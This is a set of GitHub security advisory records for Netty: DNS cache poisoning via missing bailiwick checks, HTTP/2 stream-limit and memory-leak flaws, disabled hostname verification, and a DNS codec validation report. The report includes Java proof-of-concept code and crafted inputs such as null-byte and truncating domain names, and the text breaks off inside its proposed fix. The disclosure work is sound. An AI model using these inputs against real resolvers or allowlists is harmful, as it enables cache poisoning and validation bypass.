"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-resolver-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-resolver-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47691"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:02:48Z",
"nvd_published_at": "2026-06-12T16:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`).\n\n### Details\nIn `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record\u0027s name is a suffix of the questionName.\n\nThis means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain\u0027s key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk..\n\nThe `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache` method only prevents caching if the record is for the root zone (dots == 1).\n\n### Impact\nDNS Cache Poisoning. Any application using Netty\u0027s DNS resolver is impacted.",
"id": "GHSA-5pvg-856g-cp85",
"modified": "2026-08-04T15:32:11Z",
"published": "2026-06-08T23:02:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5pvg-856g-cp85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47691"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47691.json"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488439"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-47691"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49701"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26586"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26017"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has Insufficient Bailiwick Validation for NS Records"
}
GHSA-5X3R-WRVG-RP6Q
Vulnerability from github – Published: 2026-06-08 23:02 – Updated: 2026-06-12 19:30Impact
DefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work.
Resources
https://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47244"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:02:40Z",
"nvd_published_at": "2026-06-12T15:16:29Z",
"severity": "MODERATE"
},
"details": "### Impact\nDefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work.\n\n### Resources\nhttps://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2",
"id": "GHSA-5x3r-wrvg-rp6q",
"modified": "2026-06-12T19:30:17Z",
"published": "2026-06-08T23:02:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5x3r-wrvg-rp6q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47244"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty HTTP/2: Advertised MAX_CONCURRENT_STREAMS are not enforced"
}
GHSA-676X-F7GG-47VC
Vulnerability from github – Published: 2026-06-08 23:02 – Updated: 2026-08-04 15:32Summary
Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.
Details
In io.netty.resolver.dns.DnsResolveContext#buildAliasMap, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.
According to https://datatracker.ietf.org/doc/html/rfc5452#section-6
Care must be taken to only accept
data if it is known that the originator is authoritative for the
QNAME or a parent of the QNAME.
One very simple way to achieve this is to only accept data if it is
part of the domain for which the query was intended.
Impact
DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-resolver-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-resolver-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45674"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:02:26Z",
"nvd_published_at": "2026-06-12T15:16:27Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.\n\n### Details\nIn `io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.\n\nAccording to https://datatracker.ietf.org/doc/html/rfc5452#section-6 \n\n```\nCare must be taken to only accept\n data if it is known that the originator is authoritative for the\n QNAME or a parent of the QNAME.\n One very simple way to achieve this is to only accept data if it is\n part of the domain for which the query was intended.\n```\n\n### Impact\nDNS Cache Poisoning (Bailiwick Bypass). Any application using Netty\u0027s DNS resolver is impacted.",
"id": "GHSA-676x-f7gg-47vc",
"modified": "2026-08-04T15:32:10Z",
"published": "2026-06-08T23:02:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-676x-f7gg-47vc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45674"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45674.json"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488400"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-45674"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49701"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26586"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26017"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty Vulnerable to DNS Cache Poisoning via Missing Bailiwick Checks in CNAME Records"
}
GHSA-C2GF-V879-257J
Vulnerability from github – Published: 2026-06-11 13:28 – Updated: 2026-08-05 15:32Impact
The DelegatingDecompressorFrameListener class orchestrates HTTP/2 decompression by embedding a per-stream EmbeddedChannel that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled ByteBuf handed to an anonymous ChannelInboundHandlerAdapter tail handler, which becomes the sole owner responsible for releasing it.
A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48043"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T13:28:46Z",
"nvd_published_at": "2026-06-12T16:16:30Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it.\n\nA remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME.",
"id": "GHSA-c2gf-v879-257j",
"modified": "2026-08-05T15:32:04Z",
"published": "2026-06-11T13:28:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c2gf-v879-257j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48043"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48043.json"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488442"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48043"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50085"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48124"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26586"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26018"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26017"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "netty-codec-http2: ByteBuf Reference-Count Leak in DelegatingDecompressorFrameListener Leads to Memory Exhaustion"
}
GHSA-C653-97M9-RCG9
Vulnerability from github – Published: 2026-06-15 20:45 – Updated: 2026-06-15 20:45SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with SslContextBuilder.forClient().trustManager(somePlainX509TrustManager) performs no hostname verification at all.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50010"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:45:45Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "HIGH"
},
"details": "SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE\u0027s internal AbstractTrustManagerWrapper nor Netty\u0027s own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all.",
"id": "GHSA-c653-97m9-rcg9",
"modified": "2026-06-15T20:45:45Z",
"published": "2026-06-15T20:45:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Wrapping plain trust manager silently disables hostname verification"
}
GHSA-CM33-6792-R9FM
Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil—encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
-
Empty labels silently truncate the domain name
-
io.netty.handler.codec.dns.DnsCodecUtil—decodeDomainName()method (lines 53-118): - No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}
Root Cause — Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}
Missing checks in decoder:
- No if (len > 63) check per RFC 1035 Section 2.3.4
- No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)
Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}
Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
